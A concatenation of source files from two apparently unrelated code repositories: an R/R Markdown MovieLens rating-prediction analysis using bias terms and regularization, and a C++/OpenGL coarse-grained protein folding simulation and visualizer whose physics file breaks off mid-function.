bg %>% top_n(15) %>%
ggplot(aes(x = genres, y = avg, ymin = avg - 2*se, ymax = avg + 2*se )) +
geom_point(aes(x = genres, y = avg),color = "black") +
geom_errorbar() +
geom_point(aes(x = genres, y = avgerr),color = "red") +
theme(axis.text.x = element_text(angle = 45, hjust = 1))
```
We notice that the prediction so far follows the average for the genres, but due to the presence of a genre bias, they are not at the mean. It also shows that the genres get different average ratings based on the popularity of the genres themselves.
Lets try to estimate the genre bias which will help in reducing the error and the RMSE as well by this prediction equation.
<center> __Y~u,i~ = $\mu$ + *b~i~* + *b~u~* + *b~g~* + $\epsilon$~u,i~__ </center>
Lets actually do the prediction with our test set and see if we can get a reduction in RMSE
```{r RMSEgenre,warning=FALSE }
predict_mu_bi_bu_bg <-
test_set %>%
left_join(bi, by = "movieId") %>%
left_join(bu, by = "userId") %>%
left_join(bg, by = "genres") %>%
mutate(mu_bi_bu_bg = mu + b_i + b_u + ifelse(is.na(b_g),0,b_g))
# not all genres would have been captured in trainset and hence some movies
# in the testset may generate an NA value for genre bias
rmse_mu_bi_bu_bg <- RMSE(predict_mu_bi_bu_bg$mu_bi_bu_bg,test_set$rating)
RMSE_table <- bind_rows(RMSE_table,data.frame(
method="Average, Movie,User and Genre bias Model",RMSE=rmse_mu_bi_bu_bg))
RMSE_table %>% kable()
```
This shows a significant reduction in RMSE, clarifying that the genre bias was a significant effect.
In all the above models considered, there is a small percentage of bad movies with high rating and good movies with low rating affecting the overall models ability to predict with greater accuracy. We will fine tune the model we have now with regularization, which relies on running the model repetitively with different weights represented by $\lambda$ known as cross-validation to get the lowest RMSE possible.
### Regularization model
Since we will be running the model repetitively, we will create a function with the current model that accepts a variable $\lambda$ and runs it for different values of it. We then plot the RMSE's obtained against the different values of $\lambda$ used to get the lowest RMSE possible.
This value of $\lambda$ will be used for the final run against the validation set.
by adding the term $\lambda$ to the denominator, we are making sure that for low values of **n** the weight of $\lambda$ seems large and reduces the overall effect, and for higher values of **n** the same $\lambda$ appears small and does not cause much alteration to the effect
```{r Regularization,warning=FALSE}
lambdas <- seq(0, 10, 0.25) # weights for which we will plot RMSE's
#function to get the regularized RMSE for the lamda passed
rmse_reg <- function(lambda){
#Train on trainset
mu <- mean(train_set$rating)
b_i <- train_set %>%
group_by(movieId) %>%
summarize(b_i = sum(rating - mu)/(n()+lambda))
b_u <- train_set %>%
left_join(b_i, by="movieId") %>%
group_by(userId) %>%
summarize(b_u = sum(rating - b_i - mu)/(n()+lambda))
b_g <- train_set %>%
left_join(b_i, by="movieId") %>%
left_join(b_u, by="userId") %>%
group_by(genres) %>%
summarize(b_g = sum(rating - b_u - b_i - mu)/(n()+lambda))
#Predict on testset
predict_rating <- test_set %>%
left_join(b_i, by = "movieId") %>%
left_join(b_u, by = "userId") %>%
left_join(b_g, by = "genres") %>%
mutate(mu_bi_bu_bg = mu + b_i + b_u + b_g)
#RMSE
return(RMSE(predict_rating$mu_bi_bu_bg, test_set$rating))
}
# get the RMSE's for all the lambda's
rmses <- sapply(lambdas,rmse_reg)
# plot the lamda's and their corresponding RMSE's
qplot(lambdas, rmses)
```
We can see that the value of lamda that corresponds to the low value of **0.86494** is about **5.0**
Setting lamda to this value in our regularized model and save the RMSE in the table.
```{r RMSEReg,warning=FALSE}
rmse_regu <- rmse_reg(5.0)
RMSE_table <- bind_rows(RMSE_table,data.frame(
method="Regularized Average, Movie, User and Genre bias Model",RMSE=rmse_regu))
RMSE_table %>% kable()
```
We did achieve some reduction in RMSE, but not significant, which leads me to believe that we are very close to a situation where we will be over training the model if we tried harder.
### Note
I would have tried to seperate out the individual genre and weighted out each one of them in the proprtion of their raings and created a sum of their individual weights to come up with a combined genre bias, but since this is not a recommendation model, I preferred this approach.
I opted not to go with the neighborhood models as I could not fit any model due to the size of the data.
Matrix factorization would have been the next thing to consider if the RMSE would not have been reduced significantly.The data size unless significantly filtered out was not suitable for any models studied to create an ensemble model.
During my research, I did chance upon LASSO/RIDGE method, that was able to run thru the data, but since we did not have too many effects in this exercise, it was not able to pick out any effects that had more significance over the others, and the coefficients that it generated for Genre and Year yielded higher RMSEs to be included in this exercise.
## Result
Lets now train our model with the full edx data and see if it concurs with our analysis.
We will have to generate a new but similar function to run against the **edx** data set to train and **validation** data set to predict our responses with a lambda $\lambda$ set to **5.0** and obtain an RMSE
```{r result,warning=FALSE,message=FALSE}
#function to get the regularized RMSE for the lamda passed
rmse_result <- function(lambda){
#Train on edx
mu <- mean(edx$rating)
b_i <- edx %>%
group_by(movieId) %>%
summarize(b_i = sum(rating - mu)/(n()+lambda))
b_u <- edx %>%
left_join(b_i, by="movieId") %>%
group_by(userId) %>%
summarize(b_u = sum(rating - b_i - mu)/(n()+lambda))
b_g <- edx %>%
left_join(b_i, by="movieId") %>%
left_join(b_u, by="userId") %>%
group_by(genres) %>%
summarize(b_g = sum(rating - b_u - b_i - mu)/(n()+lambda))
#Predict on validation
predict_rating <- validation %>%
left_join(b_i, by = "movieId") %>%
left_join(b_u, by = "userId") %>%
left_join(b_g, by = "genres") %>%
mutate(mu_bi_bu_bg = mu + b_i + b_u + b_g)
#RMSE
return(RMSE(predict_rating$mu_bi_bu_bg, validation$rating))
}
# execute the function with lambda set to 5.0
rmse_final <- rmse_result(5.0)
# Result when run on validation set
RMSE_table <- bind_rows(RMSE_table,data.frame(
method="Result when model run on validation set",RMSE=rmse_final))
RMSE_table %>% kable()
```
We have obtained better RMSE of **0.8644501** on the validation set when compared to the test set. This confirms no over training and an adequate model to present the results.
We can probably better the results marginally by running the cross-validation against the validation set, but since no operation was allowed on the validation set, the final results are as presented.
## Conclusion
Movies get rated by various methods and viewers to provide potential viewers a reference by which they can make their decisions. This methodology can be further expanded into movie recommendation system where a movie is picked based on the viewers prior history of movies watched.
In this report, we have identified the main source or effects that determine the rating a movie would recieve.
They have been identified as
1. The average rating of all the movies recieve which is about 3.5 out of a max 5 rating.
2. A movie bias that is a factor of how viewers rate the same movie differently.
3. A user bias that factors in how the same viewer rates movies differently.
4. A genre bias that factors in how some genre's are rated differently than others.
Some of the other methodology tried to pick the effects failed due to the nature and size of information provided for analysis which include linear regression, k - nearest neighbor and random forest.
Other models like RIDGE/LASSO gave inconsistent or higher errors, suggested very low values of $\lambda$ and coefficients for the significant effects and hence not considered to be reported.
## References
Recommendation systems:
https://rafalab.github.io/dsbook/large-datasets.html#recommendation-systems
Ridge and Lasso regression:
http://www.sthda.com/english/articles/37-model-selection-essentials-in-r/153-penalized-regression-essentials-ridge-lasso-elastic-net/
<file_sep># Load Required Libraries
library(tidyverse)
library(data.table)
library(caret)
library(stringr)
library(dplyr)
library(tidyr)
library(ggplot2)
library(knitr)
# MovieLens 10M dataset:
# https://grouplens.org/datasets/movielens/10m/
# http://files.grouplens.org/datasets/movielens/ml-10m.zip
dl <- tempfile()
download.file("http://files.grouplens.org/datasets/movielens/ml-10m.zip", dl)
ratings <- fread(text = gsub("::", "\t", readLines(unzip(dl, "ml-10M100K/ratings.dat"))),
col.names = c("userId", "movieId", "rating", "timestamp"))
movies <- str_split_fixed(readLines(unzip(dl, "ml-10M100K/movies.dat")), "\\::", 3)
colnames(movies) <- c("movieId", "title", "genres")
movies <- as.data.frame(movies) %>% mutate(movieId = as.numeric(levels(movieId))[movieId],
title = as.character(title),
genres = as.character(genres))
movielens <- left_join(ratings, movies, by = "movieId")
# Validation set will be 10% of MovieLens data
set.seed(1, sample.kind="Rounding")
# if using R 3.5 or earlier, use `set.seed(1)` instead
test_index <- createDataPartition(y = movielens$rating, times = 1, p = 0.1, list = FALSE)
edx <- movielens[-test_index,]
temp <- movielens[test_index,]
# Make sure userId and movieId in validation set are also in edx set
validation <- temp %>%
semi_join(edx, by = "movieId") %>%
semi_join(edx, by = "userId")
# Add rows removed from validation set back into edx set
removed <- anti_join(temp, validation)
edx <- rbind(edx, removed)
rm(dl, ratings, movies, test_index, temp, movielens, removed)
#Seperate the title from the year
edx <- edx %>% mutate(year = as.numeric(substr(str_extract(title,"\\(\\d\\d\\d\\d\\)"),2,5)),
title = substr(title,1,regexpr("\\(\\d\\d\\d\\d\\)",title)-2))
validation <- validation %>%
mutate(year = as.numeric(substr(str_extract(title,"\\(\\d\\d\\d\\d\\)"),2,5)),
title = substr(title,1,regexpr("\\(\\d\\d\\d\\d\\)",title)-2))
#create test and train sets
set.seed(1,sample.kind = "Rounding")
test_index <- createDataPartition(y=edx$rating,times = 1,p = 0.2,list = FALSE) # test set = 20%
train_set <- edx %>% slice(-test_index)
temp <- edx %>% slice(test_index)
#cleanup
rm(test_index)
test_set <- temp %>% semi_join(train_set,by = "movieId","userId")
removed <- anti_join(temp, test_set)
train_set <- rbind(train_set, removed)
#cleanup
rm(temp,removed)
#Average rating of all movies
mu <- mean(train_set$rating)
#RMSE for mu
rmse_mu <- RMSE(mu,test_set$rating)
#create table to store method and RMSE
RMSE_table <- data.frame(method="Average Model",RMSE=rmse_mu)
#movie bias
bi <- train_set %>% group_by(movieId) %>% # grouping by the movies
summarize(b_i = mean(rating - mu)) # mean of the residual
# predict with mean and movie bias
predict_mu_bi <-
test_set %>% left_join(bi,by = "movieId") %>%
mutate(mu_bi = mu + b_i) # get the movie bias and add it to average rating
#RMSE for mu and bi
rmse_mu_bi <- RMSE(predict_mu_bi$mu_bi,test_set$rating)
#add it to the table
RMSE_table <- bind_rows(RMSE_table,data.frame(method="Average and Movie bias Model",RMSE=rmse_mu_bi))
# User bias
bu <- train_set %>% left_join(bi,by = "movieId") %>% #join the movie bias table
group_by(userId) %>% # grouping by the users and then movies that they rated
summarize(b_u = mean(rating - mu - b_i )) # mean of the residual
#Predict with mean,movie and user bias
predict_mu_bi_bu <-
test_set %>% left_join(bi,by = "movieId") %>% # join test set and train set movie bias on movie id
left_join(bu,by = "userId") %>% # join test set and train set user bias on user id
mutate(mu_bi_bu = mu + b_u + b_i) # get the movie bias, user bias and add it to average rating
#RMSE for mu and bi and bu
rmse_mu_bi_bu <- RMSE(predict_mu_bi_bu$mu_bi_bu,test_set$rating)
#add it to the table
RMSE_table <- bind_rows(RMSE_table,data.frame(method="Average, Movie bias and User bias Model",
RMSE=rmse_mu_bi_bu))
bg <-
train_set %>%
left_join(bi, by="movieId") %>%
left_join(bu, by="userId") %>%
group_by(genres) %>% # join the tables geneated earlier and group them by genre
summarize(b_g = mean(rating-b_u-b_i-mu))
#Predict
predict_mu_bi_bu_bg <-
test_set %>%
left_join(bi, by = "movieId") %>%
left_join(bu, by = "userId") %>%
left_join(bg, by = "genres") %>%
mutate(mu_bi_bu_bg = mu + b_i + b_u + ifelse(is.na(b_g),0,b_g))
# not all genres would have been captured in trainset and hence some movies
# in the testset may generate an NA value for genre bias
rmse_mu_bi_bu_bg <- RMSE(predict_mu_bi_bu_bg$mu_bi_bu_bg,test_set$rating)
RMSE_table <- bind_rows(RMSE_table,data.frame(
method="Average, Movie,User and Genre bias Model",RMSE=rmse_mu_bi_bu_bg))
#Regularization
#function to get the regularized RMSE for the lamda passed
rmse_reg <- function(lambda){
#Train on trainset
mu <- mean(train_set$rating)
b_i <- train_set %>%
group_by(movieId) %>%
summarize(b_i = sum(rating - mu)/(n()+lambda))
b_u <- train_set %>%
left_join(b_i, by="movieId") %>%
group_by(userId) %>%
summarize(b_u = sum(rating - b_i - mu)/(n()+lambda))
b_g <- train_set %>%
left_join(b_i, by="movieId") %>%
left_join(b_u, by="userId") %>%
group_by(genres) %>%
summarize(b_g = sum(rating - b_u - b_i - mu)/(n()+lambda))
#Predict on testset
predict_rating <- test_set %>%
left_join(b_i, by = "movieId") %>%
left_join(b_u, by = "userId") %>%
left_join(b_g, by = "genres") %>%
mutate(mu_bi_bu_bg = mu + b_i + b_u + b_g)
#RMSE
return(RMSE(predict_rating$mu_bi_bu_bg, test_set$rating))
}
# we found that 5.0 is what generates the lowest RMSE
rmse_regu <- rmse_reg(5.0)
RMSE_table <- bind_rows(RMSE_table,data.frame(
method="Regularized Average, Movie, User and Genre bias Model",RMSE=rmse_regu))
#function to get the regularized RMSE for the lamda passed to final model
rmse_result <- function(lambda){
#Train on edx
mu <- mean(edx$rating)
b_i <- edx %>%
group_by(movieId) %>%
summarize(b_i = sum(rating - mu)/(n()+lambda))
b_u <- edx %>%
left_join(b_i, by="movieId") %>%
group_by(userId) %>%
summarize(b_u = sum(rating - b_i - mu)/(n()+lambda))
b_g <- edx %>%
left_join(b_i, by="movieId") %>%
left_join(b_u, by="userId") %>%
group_by(genres) %>%
summarize(b_g = sum(rating - b_u - b_i - mu)/(n()+lambda))
#Predict on validation
predict_rating <- validation %>%
left_join(b_i, by = "movieId") %>%
left_join(b_u, by = "userId") %>%
left_join(b_g, by = "genres") %>%
mutate(mu_bi_bu_bg = mu + b_i + b_u + b_g)
#RMSE
return(RMSE(predict_rating$mu_bi_bu_bg, validation$rating))
}
# execute the function with lambda set to 5.0
rmse_final <- rmse_result(5.0)
# Result when run on validation set
RMSE_table <- bind_rows(RMSE_table,data.frame(
method="Result when model run on validation set",RMSE=rmse_final))
RMSE_table %>% kable()
<file_sep># MovieLens
MovieLens - Predict movie rating
| 0d2792286792b079d6ae02f44eb7f0f037b0a5f3 | [
"Markdown",
"R",
"RMarkdown"
] | 3 | RMarkdown | DataChurner/MovieLens | 91b2e05835ea1aed9331e5a5ffcd66b198a62766 | db37bcf6608f81a84f4ee422eaf383e5ed460d0b |
refs/heads/master | <file_sep># MinGW
ifeq "$(OS)" "Windows_NT"
V_CFLG= -O3 -Wall
V_LIBS=-lglut32cu -lglu32 -lopengl32
CLEAN=del *.exe *.o *.a
else
# OSX
ifeq ("$(shell uname)","Darwin")
V_CFLG=-g -O3 -Wall -Wno-deprecated-declarations $(shell sdl2-config --cflags)
V_LIBS=-framework OpenGL $(shell sdl2-config --libs)
S_CFLG=-g -O3 -Wall -Wno-deprecated-declarations
S_LIBS=-lm
# Linux/Unix/Solaris
else
V_CFLG=-g -O3 -Wall $(shell sdl2-config --cflags) -DGL_GLEXT_PROTOTYPES
V_LIBS=-lGLU -lGL -lm $(shell sdl2-config --libs)
S_CFLG=-g -O3 -Wall
S_LIBS=-lm
endif
# OSX/Linux/Unix/Solaris
CLEAN=rm -rf sim simg vis *.o *.a *.dSYM
endif
all:sim simg vis
# Compile
#.c.o:
# gcc -std=c99 -c $(V_CFLG) $<
#.cpp.o:
# g++ -c $(V_CFLG) $<
vis.o:vis.cpp objects.h pixlight.vert pixlight.frag
g++ -std=c++11 -c $(V_CFLG) $<
sim.o:sim.cpp
g++ -std=c++11 -c $(S_CFLG) $< -fopenmp
simg.o:sim.cu
nvcc -c -O3 -Xcompiler "-std=c++11 -c $(S_CFLG)" -o $@ $<
objects.o: objects.cpp objects.h
g++ -c $(V_CFLG) $<
# link
vis:vis.o objects.o
g++ -g -O3 -o $@ $^ $(V_LIBS)
sim:sim.o
g++ -g -O3 -o $@ $^ $(S_LIBS) -fopenmp
simg:simg.o
nvcc -o $@ $^ -g -O3 $(S_LIBS)
# Clean
clean:
$(CLEAN)
<file_sep>#ifndef STDIncludes
#define STDIncludes
#include <cstdlib>
#include <cstdio>
#include <cmath>
#ifdef __APPLE__
#include <OpenGL/glu.h>
#else
#include <GL/glu.h>
#endif
#endif
#include <iostream>
#include <fstream>
#include <iomanip>
#include <sstream>
#include <SDL.h>
#include <SDL_opengl.h>
#include "objects.h"
using namespace std;
//GLOBAL VARIABLES//
//running or not
bool quit = false;
bool gameOver =false;
//View Angles
double th = 0;
double ph = 0;
double dth = 0;
double dph = 0;
//Window Size
int w = 1920;
int h = 1080;
//eye position and orientation
double ex = 0;
double ey = 0;
double ez = 0;
double vx = 0;
double vy = 0;
double vz = 0;
double zoom = 24;
double dzoom = 0;
//lighting arrays
float Ambient[4];
float Diffuse[4];
float Specular[4];
float shininess[1];
float LightPos[4];
float ltheta = 0.0;
//Shaders
int shader = 0;
//int filter = 0;
//int blend = 0;
//unsigned int img, frame;
int id;
//SDL Window/OpenGL Context
SDL_Window* window = NULL;
SDL_GLContext context;
//Timing
int ff = 8; //milliseconds per frame
int r = 0;
int dr = 0;
int oldr = 0;
int Pause = 0;
int frames = 0;
bool reverse = false;
//Simulation
int n_frames;
int n_aminos;
float* aminoList = NULL;
float* sim = NULL;
int step = 0;
////////////////////
//functions that are called ahead of when they're defined
//because C
void reshape(int width, int height);
void keyboard(const Uint8* state);
// Connect and put score in database
//void dbInsert(string name);
//std::stringstream dbGetScores();
//////// SDL Init Function ////////
bool init()
{
bool success = true;
if (SDL_Init(SDL_INIT_VIDEO | SDL_INIT_TIMER) != 0)
{
cerr << "SDL failed to initialize: " << SDL_GetError() << endl;
success = false;
}
window = SDL_CreateWindow("Tower Trouble", 0,0 , w,h, SDL_WINDOW_OPENGL | SDL_WINDOW_SHOWN | SDL_WINDOW_RESIZABLE);
if (window == NULL)
{
cerr << "SDL failed to create a window: " << SDL_GetError() << endl;
success = false;
}
context = SDL_GL_CreateContext(window);
if (context == NULL)
{
cerr << "SDL failed to create OpenGL context: " << SDL_GetError() << endl;
success = false;
}
//Vsync
if (SDL_GL_SetSwapInterval(1) < 0)
{
cerr << "SDL could not set Vsync: " << SDL_GetError() << endl;
// success = false;
}
return success;
}
///////////////////////////////////
void display()
{
const Uint8* state = SDL_GetKeyboardState(NULL);
keyboard(state);
//adjust the eye position
th += dth;
ph += dph;
zoom = zoom<2.0?2.0:zoom+dzoom;
glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
glEnable(GL_DEPTH_TEST);
glEnable(GL_CULL_FACE);
reshape(w,h);
glMatrixMode(GL_MODELVIEW);
glLoadIdentity();
//view angle
ex = Sin(-th)*Cos(ph)*zoom;
ey = Sin(ph)*zoom;
ez = Cos(-th)*Cos(ph)*zoom;
gluLookAt(ex,ey,ez , 0,0,0 , 0,Cos(ph),0);
//////////Lighting//////////
// Light position and rendered marker (unlit)
// lighting colors/types
Ambient[0] = 0.30; Ambient[1] = 0.32; Ambient[2] = 0.35; Ambient[3] = 1.0;
Diffuse[0] = 0.65; Diffuse[1] = 0.65; Diffuse[2] = 0.60; Diffuse[3] = 1.0;
Specular[0] = 0.7; Specular[1] = 0.7; Specular[2] = 1.0; Specular[3] = 1.0;
shininess[0] = 512;
// normally normalize normals
glEnable(GL_NORMALIZE);
// enable lighting
glEnable(GL_LIGHTING);
// set light model with viewer location for specular lights
glLightModeli(GL_LIGHT_MODEL_LOCAL_VIEWER, 1);
glColorMaterial(GL_FRONT_AND_BACK, GL_AMBIENT_AND_DIFFUSE);
glEnable(GL_COLOR_MATERIAL);
// enable the light and position it
glEnable(GL_LIGHT0);
glLightfv(GL_LIGHT0, GL_AMBIENT, Ambient);
glLightfv(GL_LIGHT0, GL_DIFFUSE, Diffuse);
glLightfv(GL_LIGHT0, GL_SPECULAR, Specular);
glLightfv(GL_LIGHT0, GL_POSITION, LightPos);
///////////////////////////
float white[] = {1.0, 1.0, 1.0, 1.0};
float emission[] = {0.0, 0.4, 0.25, 1.0};
glMaterialfv(GL_FRONT, GL_SHININESS, shininess);
glMaterialfv(GL_FRONT, GL_SPECULAR, white);
glMaterialfv(GL_FRONT, GL_EMISSION, emission);
// Use PerPixel Lighting Shader
glUseProgram(shader);
//Draw All The Stuff
emission[0] = -0.05; emission[1] = -0.05; emission[2] = -0.05;
glMaterialfv(GL_FRONT, GL_EMISSION, emission);
for (int i=0; i < n_aminos; i += 1)
{
float r = 0.70 + aminoList[2*i + 1]*0.3;
float g = 0.70 + aminoList[2*i + 0]*0.3;
float b = 0.70 - aminoList[2*i + 1]*0.3;
glColor3f(r,g,b);
double x = sim[step*3*n_aminos + 3*i + 0];
double y = sim[step*3*n_aminos + 3*i + 1];
double z = sim[step*3*n_aminos + 3*i + 2];
//cout << x << "\t" << y << "\t" << z << endl;
ball(x,y,z, 0.5);
}
//cout << endl;
glFlush();
SDL_GL_SwapWindow(window);
}
void physics()
{
if (!Pause)
{
// move the light
//ltheta += M_PI/180;
//ltheta = fmod(ltheta, 2*M_PI);
//LightPos[0] = 4.5*sin(ltheta);
//LightPos[2] = 4.5*cos(ltheta);
// advance to the next frame
if (!reverse)
{
if (step < n_frames-1)
++step;
}
else
{
if (step > 0)
--step;
}
}
}
// this function stolen from 4229 class examples
char* ReadText(char* file)
{
int n;
char* buffer;
FILE* f = fopen(file,"r");
if (!f) {cerr << "Cannot open text file " << file << endl; quit = true;}
fseek(f, 0, SEEK_END);
n = ftell(f);
rewind(f);
buffer = (char*) malloc(n+1);
if (!buffer) {cerr << "Cannot allocate " << n+1 << " bytes for text file " << file << endl; quit = true;}
int h = fread(buffer, n, 1, f);
if (h != 1) {cerr << h << " Cannot read " << n << " bytes for text file " << file << endl; quit = true;}
buffer[n] = 0;
fclose(f);
return buffer;
}
// this function stolen from 4229 class examples
int CreateShader(GLenum type, char* file)
{
// Create the shader
int shader = glCreateShader(type);
// Load source code from file
char* source = ReadText(file);
glShaderSource(shader, 1, (const char**) &source, NULL);
free(source);
// Compile the shader
fprintf(stderr, "Compile %s\n", file);
glCompileShader(shader);
// Return name (int)
return shader;
}
// this function stolen (mostly) from 4229 class examples
int CreateShaderProg(char* VertFile, char* FragFile)
{
// Create program
int prog = glCreateProgram();
// Create and compile vertex and fragment shaders
int vert, frag;
if (VertFile) vert = CreateShader(GL_VERTEX_SHADER, VertFile);
if (FragFile) frag = CreateShader(GL_FRAGMENT_SHADER,FragFile);
// Attach vertex and fragment shaders
if (VertFile) glAttachShader(prog,vert);
if (FragFile) glAttachShader(prog,frag);
// Link Program
glLinkProgram(prog);
// Return name (int)
return prog;
}
void reshape(int width, int height)
{
w = width;
h = height;
//new aspect ratio
double w2h = (height > 0) ? (double)width/height : 1;
//set viewport to the new window
glViewport(0,0 , width,height);
//switch to projection matrix
glMatrixMode(GL_PROJECTION);
glLoadIdentity();
//adjust projection
gluPerspective(60, w2h, 0.125, 1024);
//switch back to model matrix
glMatrixMode(GL_MODELVIEW);
glLoadIdentity();
}
// Per frame keyboard input here, per keypress input in main()
void keyboard(const Uint8* state)
{
if (state[SDL_SCANCODE_ESCAPE])
quit = true;
if (state[SDL_SCANCODE_LEFT])
dth = 1.0;
else if (state[SDL_SCANCODE_RIGHT])
dth = -1.0;
else
dth = 0;
if (state[SDL_SCANCODE_UP])
dph = 1.0;
else if (state[SDL_SCANCODE_DOWN])
dph = -1.0;
else
dph = 0;
if (state[SDL_SCANCODE_Z])
dzoom = -0.20;
else if (state[SDL_SCANCODE_X])
dzoom = 0.20;
else
dzoom = 0;
}
// all user interaction goes here
void handleEvents()
{
SDL_Event event;
while (SDL_PollEvent(&event))
{
switch(event.type)
{
case SDL_QUIT:
quit = true;
break;
case SDL_KEYDOWN:
if (event.key.keysym.scancode == SDL_SCANCODE_SPACE)
Pause = 1 - Pause;
else if (event.key.keysym.scancode == SDL_SCANCODE_0)
{
th = 0;
ph = 40;
}
else if (event.key.keysym.scancode == SDL_SCANCODE_COMMA)
{
ff *= 2;
}
else if (event.key.keysym.scancode == SDL_SCANCODE_PERIOD)
{
if (ff > 1)
ff /= 2;
}
else if (event.key.keysym.scancode == SDL_SCANCODE_LEFTBRACKET)
{
reverse = true;
}
else if (event.key.keysym.scancode == SDL_SCANCODE_RIGHTBRACKET)
{
reverse = false;
}
else
{
const Uint8* state = SDL_GetKeyboardState(NULL);
keyboard(state);
}
break;
case SDL_WINDOWEVENT:
if (event.window.event == SDL_WINDOWEVENT_SIZE_CHANGED)
{
//cerr << event.window.data1 << " " << event.window.data2 << endl;
reshape(event.window.data1, event.window.data2);
}
break;
}
}
}
int main(int argc, char *argv[])
{
if (argc < 2)
{
cout << "Usage: <insert usage here>\n";
return 0;
}
//Initialize
if (init() != true)
{
cerr << "Shutting Down\n";
return 1;
}
ifstream file (argv[1], ios::in|ios::binary);
if (!file.is_open())
{
cerr << "Could not open file: " << argv[1] << endl;
}
file.seekg(0);
file.read((char*)&n_aminos, sizeof(int));
file.seekg(sizeof(int));
file.read((char*)&n_frames, sizeof(int));
cout << "aminos: " << n_aminos << endl << "frames: " << n_frames << endl;
aminoList = new float[2*n_aminos];
file.seekg(2*sizeof(int));
file.read((char*)aminoList, 2*n_aminos*sizeof(float));
sim = new float[3*n_frames*n_aminos];
file.seekg(2*sizeof(int) + 2*n_aminos*sizeof(float));
file.read((char*)sim, 3*n_aminos*n_frames*sizeof(float));
//compile shaders
shader = CreateShaderProg((char*)"pixlight.vert",(char*)"pixlight.frag");
//filter = CreateShaderProg(NULL, (char*)"src/gaussian.frag");
//blend = CreateShaderProg(NULL, (char*)"src/blender.frag");
//create and configure textures for filters
//glGenTextures(1,&img);
//glBindTexture(GL_TEXTURE_2D,img);
//glTexParameteri(GL_TEXTURE_2D,GL_TEXTURE_MAG_FILTER,GL_LINEAR);
//glTexParameteri(GL_TEXTURE_2D,GL_TEXTURE_MIN_FILTER,GL_LINEAR);
//glTexParameteri(GL_TEXTURE_2D,GL_TEXTURE_WRAP_S,GL_CLAMP_TO_EDGE);
//glTexParameteri(GL_TEXTURE_2D,GL_TEXTURE_WRAP_T,GL_CLAMP_TO_EDGE);
//glGenTextures(1,&frame);
//glBindTexture(GL_TEXTURE_2D,frame);
//glTexParameteri(GL_TEXTURE_2D,GL_TEXTURE_MAG_FILTER,GL_LINEAR);
//glTexParameteri(GL_TEXTURE_2D,GL_TEXTURE_MIN_FILTER,GL_LINEAR);
//glTexParameteri(GL_TEXTURE_2D,GL_TEXTURE_WRAP_S,GL_CLAMP_TO_EDGE);
//glTexParameteri(GL_TEXTURE_2D,GL_TEXTURE_WRAP_T,GL_CLAMP_TO_EDGE);
reshape(w,h);
LightPos[0] = 0.0; LightPos[1] = 8.0; LightPos[2] = 4.5; LightPos[3] = 1.0;
int startuptime = SDL_GetTicks();
////////Main Loop////////
while (!quit)
{
handleEvents();
//// PHYSICS TIMING ////
r = SDL_GetTicks();
dr += r - oldr;
while (dr >= ff)
{
physics();
dr -= ff;
}
oldr = r;
display();
frames += 1;
}
cout << "Shutting Down\n";
cout << "average framerate: " << 1000*(float)frames/(r - startuptime) << endl;
delete[] sim;
delete[] aminoList;
SDL_Quit();
return 0;
}
<file_sep>import sys
import random
if len(sys.argv) < 2:
print("this function takes an ergumet")
exit()
repeats = 1
if len(sys.argv) > 2:
repeats = int(sys.argv[2])
N = int(sys.argv[1])
A = [(a,b) for a in [-0.5, 0.0, 0.5, 1.0] for b in [-1.0,-0.5,0.0,0.5,1.0]]
print(N*repeats)
l = []
for i in range(N):
a = A[random.randint(0,19)]
l.append(a[0])
l.append(a[1])
for j in range(repeats):
for i in range(2*N):
print(l[i])
<file_sep>## Coarse Grained Protein Simulation
A simple simulation and visualization of basic coarse grained protein folding using C++ and OpenGL.
Compile all components
```
make
make all
```
compile individual components
```
make sim
make simg
make vis
```
Generate random amino acid sequences
```
python generate.py num_aminos [num_repeats] > input.dat
```
Run simulations
```
./sim input.dat output.bin [num_frames]
./simg input.dat output.bin [num_frames]
```
Run visualizations
```
./vis output.bin
```
Visualization camera/playback controls
```
space - play/pause
,/. - slower/faster
[/] - reverse/forward
z/x - zoom in/out
arrows - rotate camera
0 - reset camera
```
<file_sep>
#include <cstdlib>
#include <cstdio>
#include <cmath>
#include <cstring>
#include <iostream>
#include <fstream>
#include <vector>
//#include "CSCIx229.h"
//#include <SDL.h>
//#include <SDL_opengl.h>
//#include "objects.h"
using namespace std;
////////////////////
float k = 1.0; // Bond Spring Constant
float ke = -0.01; // Electrostatic Constant
float kh = -0.2; // Hydrophobicity Constant
float kc = 1.0; // Collision Force Constant
int compMode = 0; // 0 = single thread
// 1 = multi thread
// 2 = GPU
///////////////////////////////////
void physics(int n, float* nodes, vector<float>* hist)
{
#pragma omp parallel for if(compMode == 1)
for (int i=0; i < n; ++i)
{
float hx = 0.0;
float hy = 0.0;
float hz = 0.0;
float ex = 0.0;
float ey = 0.0;
float ez = 0.0;
float cx = 0.0;
float cy = 0.0;
float cz = 0.0;
float fx = 0.0;
float fy = 0.0;
float fz = 0.0;
for (int j=0; j < n; ++j)
{
if (i != j)
{
float x1 = nodes[8*i + 0];
float y1 = nodes[8*i + 1];
float z1 = nodes[8*i + 2];
float x2 = nodes[8*j + 0];
float y2 = nodes[8*j + 1];
float z2 = nodes[8*j + 2];
float dx = x2-x1;
float dy = y2-y1;
float dz = z2-z1;
float dist = sqrt(dx*dx + dy*dy + dz*dz);
float h1 = nodes[8*i + 6];
float e1 = nodes[8*i + 7];
float h2 = nodes[8*j + 6];
float e2 = nodes[8*j + 7];
// Hydrophobic forces
// Fh = Kh*h1*h2/(r^14-r^8)
float d = max(dist, 1.0f);
hx = kh*h1*h2*(pow(d,-14) - pow(d,-8)) * dx/dist;
hy = kh*h1*h2*(pow(d,-14) - pow(d,-8)) * dy/dist;
hz = kh*h1*h2*(pow(d,-14) - pow(d,-8)) * dz/dist;
// Electrsostatic forces
// Fe = k*q1*q2/r^2
ex = ke*e1*e2/min(dist*dist, 1.0f) * dx/dist;
ey = ke*e1*e2/min(dist*dist, 1.0f) * dy/dist;
ez = ke*e1*e2/min(dist*dist, 1.0f) * dz/dist;
// Collision forces
// soft collisions, spring force model
if (dist < 1.0)
{
cx = kc*(1.0-dist) * dx/dist;
cy = kc*(1.0-dist) * dy/dist;
cz = kc*(1.0-dist) * dz/dist;
}
else
{
cx = 0.0;
cy = 0.0;
cz = 0.0;
}
//if (hx*hx + hy*hy + hz*hz > 0.01)
// cout << "H" << i << ":\t"<< hx << "\t" << hy << "\t" << hz << "\t" << dist << endl;
//if (ex*ex + ey*ey + ez*ez > 0.01)
// cout << "E" << i << ":\t"<< ex << "\t" << ey << "\t" << ez << "\t" << dist << endl;
//if (cx*cx + cy*cy + cz*cz > 0.01)
